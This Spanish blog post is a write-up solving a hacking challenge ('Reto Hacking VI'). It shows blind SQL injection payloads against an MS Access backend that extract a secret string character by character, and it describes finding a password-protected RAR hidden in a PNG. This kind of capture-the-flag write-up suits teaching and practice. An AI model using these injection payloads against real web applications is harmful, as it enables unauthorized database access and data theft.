Solución al Reto Hacking VI (Retos Chema)

Introducción / Advertencia
Antes de seguir con mi propia versión acerca de como resolví el reto hacking 6 del buen chema, tengo que aclarar que mi “solucionario” es mas bien sobre lo que hice y como fui desarrollando las ideas que me llevaron a acabarlo, por consecuente no creo estar al mismo nivel competitivo de las otras mentes maestras que participan reto a reto en la web de chema (como lo son Daniel Kachakil, Mandingo, Romansoft, etc…) así que les recomendaría leer primero los solucionarios de estos mismos antes que el mio, asi que recalcando: sobre advertencia no hay engaño Laughing.

Primera Parte
La primera parte de todo el reto sin duda fue la pieza clave del mismo, aunque chema nos había dejado algunas pistas, estas tenían forma de ser meramente todos unos acertijos así que no le di importancia a las mismas y tire las mismas.
Una vez terminado de registrar vemos tres partes importantes del reto había una sección de practica, una de examen y otra de subir nota, como buen recién registrado lo primero que hice fue entrar directo al examen y empezar a probar las inyecciones comunes, claro al tercer intento el reto me pateo y me forzó a entrar de nuevo después de como 18 intentos vagos decidí irme a subir nota donde me decía que tengo que primero aprobar el examen así que solo me quedaba la practica.
La practica nos hacia una pregunta simple: ¿Cuanto es 1000 + 1?, al probar la respuesta obvia de 1001 solo nos decía: “vamos, vamos, garrunpintizate!”, probé poniendo 10001 (como si fueran dos cadenas concatenándose) y nada aun…
Como se imaginaran probé muchísimas cosas, inyecciones comunes que me sabia o bien se me venían a la mente y nada de nada, estaba mas perdido que un ciego en un desierto, ya estaba a punto de tirar la toalla… cuando se me acordó que para el reto 5 le había pedido un soplo a Romansoft (reto que nunca pude acabar debido a que la parte 2 me iba a llevar mas tiempo del que disponía) el cual amablemente me respondió así que atentando nuevamente con la buena fe de Romansoft le envié un correo para pedirle que me de un nuevo soplo que me ponga en la jugada (y lo hizo Tongue out), sin embargo después de enviarle el correo a Romansoft se me ocurrió una “idea feliz”, una teoría un poco loca que si bien no ayudo de manera directa a resolver el reto si me ayudo de manera indirecta.
Mi loca teoría enunciaba en la posibilidad de que exista alguna forma de que a través de ataques de desbordamiento de enteros podíamos de alguna forma inyectar o hacerle algo a la aplicación web, se que sonaba medio tonto pero siendo un reto del chema bueno pues todo lo que venga a la mente puede ser posible. Esto obviamente me llevo a probar los limites de enteros en sistemas de 32-bits, como primera prueba use el limite por el lado positivo (2147483647) de los enteros y este mismo me dio un mensaje alentador: “Uy que cerca, casi estás garrupintizado!”, pfff quede como loco me sentí reanimado otra vez primera vez que me respondía con otra cosa que no fuera lo mismo o el mensaje de error sobre conversión de enteros.
En ese momento me dije a mi mismo: ¿Sera que mi teoría loca no es tan loca?, sin embargo para antes que pudiera proseguir con la misma en ese momento me llego el correo de respuesta de Romansoft donde en palabras cortas me decía dos palabras importantes… “Blind SQL Injection” y “MS Access”. Debido a los pocos conocimientos que tenia sobre MS Access esto me forzó a buscar sobre que funciones podría usar para aprovechar durante mis inyecciones, claro con un par de “googlazos” me llevo rápidamente a la web MS Access SQL Injection Cheat Sheet, un documento lleno de trucos para aprovechar bien tanto las inyecciones a ciegas como las normales en Base De Datos gestionadas a través de MS Access, este documento yo lo tome como pieza clave para formar mis inyecciones.
Pero bueno ya tenia todo así que llego el momento de evaluar sabia que la cosa iba a ser una inyección a ciegas así que mi primer trabajo fue buscar que sentencias eran las verdaderas y cuales las falsas, lo cual claro debido a mi descubrimiento anterior sobre el limite de enteros (2147483647) y a que el ejemplo de la practica (1000 + 1) me dio una idea podia entonces decir que las siguientes respuesta significaban…
Verdadero = Uy que cerca, casi estás garrupintizado!
Falso = Vamos, vamos, garrupintizate!
Error = ACCESS: Error al convertir valor numérico
Así que bueno llego la parte verdadera: las inyecciones, como decía en la hoja de trucos tenia que ir descubriendo primero el nombre de la tabla, luego el nombre del valor, luego el numero de filas devueltas y finalmente si quiero el largo de alguna de las filas devueltas.

Primero empece con el nombre de la tabla para la tabla probé muchas ideas desde rh6, chema, examen… hasta que obviamente llegue a garrupito:
2147483646 + IIF((SELECT TOP 1 1 FROM garrupito), 1, 0)
(Como pueden notar la idea era básica si ejecutaba la query devolvía 1 sacando el mensaje de verdadero de otra forma me salia error al no existir la tabla.)

Luego seguí con el nombre del atributo, este me salio rápido lo primero que probé era valor:
2147483646 + IIF((SELECT TOP 1 Valor FROM garrupito), 1, 0)

Siguiendo tenemos que solo hay 1 fila:
2147483646 + IIF((SELECT COUNT(*) FROM garrupito) = 1, 1, 0)

Y Finalmente el largo del contenido de esta fila:
2147483646 + IIF((SELECT TOP 1 LEN(Valor) FROM garrupito) = 36, 1, 0)

Así que rehaciendo cuentas tenemos lo siguiente:
La Tabla se llama garrupito, el único Atributo se llama Valor, solo hay 1 fila y el valor de esta fila tiene un largo de 36.

Ya teniendo todo esto la siguiente parte era dedicarme a crear una inyección donde pueda ir probando carácter por carácter que valor correspondía para así obtener el contenido de la fila a través de la inyección, la hoja de trucos para MS Access nos sugería una pero desgraciadamente el gestor MS Access de BDs no es sensible a las mayúsculas haciendo que A y a sean iguales, sin embargo esto no me impidió elaborar una solución/query:
2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, X, 1)) FROM garrupito) = Y, 1, 0)
Como puede notarse en la inyección
X = El Numero del carácter que se esta probando, los cuales para el reto de chema iban desde el 1 hasta el 36
Y = Es el valor en ascii a probar los cuales.
Viendo obviamente todo el trabajo que iba a necesitar se me dio por diseñar una aplicación que lo haga por mi, sin embargo esta misma no la pude acabar primero por que todos mis intentos fueron fallidos y segundo por que mientras hacia esta aplicacion, dos usuarios me rebasaron y acabaron el reto, así que por temor a que otros usuarios me rebasen preferí hacerlo a mano así que a continuación les dejo todas las inyecciones SQL que me resultaron positivas para sacar el valor de la fila:

9 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 1, 1)) FROM garrupito) = 57, 1, 0)
D = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 2, 1)) FROM garrupito) = 68, 1, 0)
B = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 3, 1)) FROM garrupito) = 66, 1, 0)
7 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 4, 1)) FROM garrupito) = 55, 1, 0)
D = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 5, 1)) FROM garrupito) = 68, 1, 0)
1 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 6, 1)) FROM garrupito) = 49, 1, 0)
5 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 7, 1)) FROM garrupito) = 53, 1, 0)
7 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 8, 1)) FROM garrupito) = 55, 1, 0)
- = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 9, 1)) FROM garrupito) = 45, 1, 0)
C = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 10, 1)) FROM garrupito) = 67, 1, 0)
D = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 11, 1)) FROM garrupito) = 68, 1, 0)
6 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 12, 1)) FROM garrupito) = 54, 1, 0)
8 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 13, 1)) FROM garrupito) = 56, 1, 0)
- = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 14, 1)) FROM garrupito) = 45, 1, 0)
4 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 15, 1)) FROM garrupito) = 52, 1, 0)
2 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 16, 1)) FROM garrupito) = 50, 1, 0)
a = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 17, 1)) FROM garrupito) = 97, 1, 0)
3 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 18, 1)) FROM garrupito) = 51, 1, 0)
- = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 19, 1)) FROM garrupito) = 45, 1, 0)
A = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 20, 1)) FROM garrupito) = 65, 1, 0)
3 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 21, 1)) FROM garrupito) = 51, 1, 0)
6 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 22, 1)) FROM garrupito) = 54, 1, 0)
6 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 23, 1)) FROM garrupito) = 54, 1, 0)
- = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 24, 1)) FROM garrupito) = 45, 1, 0)
C = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 25, 1)) FROM garrupito) = 67, 1, 0)
3 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 26, 1)) FROM garrupito) = 51, 1, 0)
2 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 27, 1)) FROM garrupito) = 50, 1, 0)
B = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 28, 1)) FROM garrupito) = 66, 1, 0)
E = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 29, 1)) FROM garrupito) = 69, 1, 0)
3 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 30, 1)) FROM garrupito) = 51, 1, 0)
7 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 31, 1)) FROM garrupito) = 55, 1, 0)
7 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 32, 1)) FROM garrupito) = 55, 1, 0)
D = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 33, 1)) FROM garrupito) = 68, 1, 0)
F = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 34, 1)) FROM garrupito) = 70, 1, 0)
6 = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 35, 1)) FROM garrupito) = 54, 1, 0)
D = 2147483646 + IIF((SELECT TOP 1 ASC(MID(Valor, 36, 1)) FROM garrupito) = 68, 1, 0)

Ya juntos todos estos caracteres formaban: 9DB7D157-CD68-42a3-A366-C32BE377DF6D, cadena que correspondía a la respuesta del examen; sin embargo ami me paso algo curioso al ingresar esta respuesta el sistema me pateo (tal vez por que era la convocatoria de septiembre) así que se me ocurrió que era un hash o algo raro y empece a hacer nuevamente teorías locas sobre hashes y pues fue de pura suerte que halla realmente vuelto a intentar poner la respuesta y ahora si me acepte y pase a la siguiente y ultima parte.

Segunda Parte
Aunque por naturaleza tendamos a creer que estamos en algo mas difícil que lo anterior esta vez así no lo fue, cuando abres ya la siguiente parte de “Subir Nota” nos topamos con un texto que dice que tenemos tarea para casa, que contiene una liga hacia una imagen con un ejercicio de ajedrez, después de darle una mirada rápida te das cuenta que es imposible hacer mate 1 así que la cosa no iba por ahí.
Al tener un PNG algo pesadito lo primero que se me ocurrió es: esteganografía, así que pensé: sera que el chema se hecho su propio algoritmo de esteganografía en PNG? googleando un poco nos salen algunas referencias sobre como hacer esto sin embargo después de probar estas ninguna me marco que tenia texto escondido dentro de la imagen así que nuevamente estuve a punto de tirar la toalla y esperar a los solucionarios… sin embargo esta vez de la nada se me ocurrió una idea espontanea algo loca, tal vez sacando una copia de la misma imagen al re codificarse este salgan los bytes que posiblemente estén modificados y así podría con estos juguetear y tal vez me salga un texto a medias o completo pero con ruido.
Al realizar esto y hacer una comparación buscando las diferencias se veía claramente (mas bien horriblemente) el sobrante… increíblemente al final del PNG esta pegado un archivo RAR, pues el siguiente paso era simple, tomar ese archivo y crearlo.
Como han de suponer chema para no hacérnosla tan fácil le puso clave al RAR, como todos lo primero que hice fue empezar a sacar mis utilidades para hacer fuerza bruta al fichero RAR pero antes de empezar decidí probar con palabras conocidas como rh6, chema, examen, tarea, notaextra, ajedrez, chess, … así hasta llegar a garrupito, el cual era la contraseña del RAR.
Una vez abierto este mismo lo que quedaba era simplemente otra imagen que contenía el texto:
“It’s imposible, It’s only possible in two steps”
Que era la respuesta para subir de nota así que como podrán ver era la conjetura inicial que hicimos a la parte 2 del reto solo que en ingles.

Concluyendo…
Como notaran la parte 2 es un chiste comparada con el trabajo y esfuerzo realizado en la parte 1, la verdad es que me encanto esta vez tener un poco de tiempo para participar en estos retos, ya que de estos tipos de retos son de los que aprendes mas, espero estar a la altura del siguiente y ahora si esta vez no preguntarle a román Tongue out.

Enlaces
Reto Hacking VI (Chema)
Un informático en el lado del mal
MS Access SQL Injection Cheat Sheet

1 Comentario »

  1. Escrito por: Juan_Chanclas

    23 de Febrero del 2008 a las 5:34 am

    he de decir que me apuntado a otros “retos” mas por el hecho de aprender que de resolver (no porque lo sepa sino por que nunca se deja de aprender … y en muchos muchos muchos muchos muchos …. infinito ….casos no se la respuesta pero no me deja de sorprender ke la “pista” mas simple puede ser la ke nos de un panorama mas amplio… lo reconosco resolvi el “problema” ya resuelto…. simplemente por no “SABER LEER la leyenda ACCESS” no digo ke por eso hubiese resuelto el reto, pero si por mi falta de observación resolvi el reto como cualquier LUSER …. :( ni modo a poner mas atencion a todo :(

Comentarios RSS · TrackBack URI

Dejanos tu Comentario

Nombre: (Requerido)

Correo electrónico: (Requerido)

Sitio WEB:

Comentario: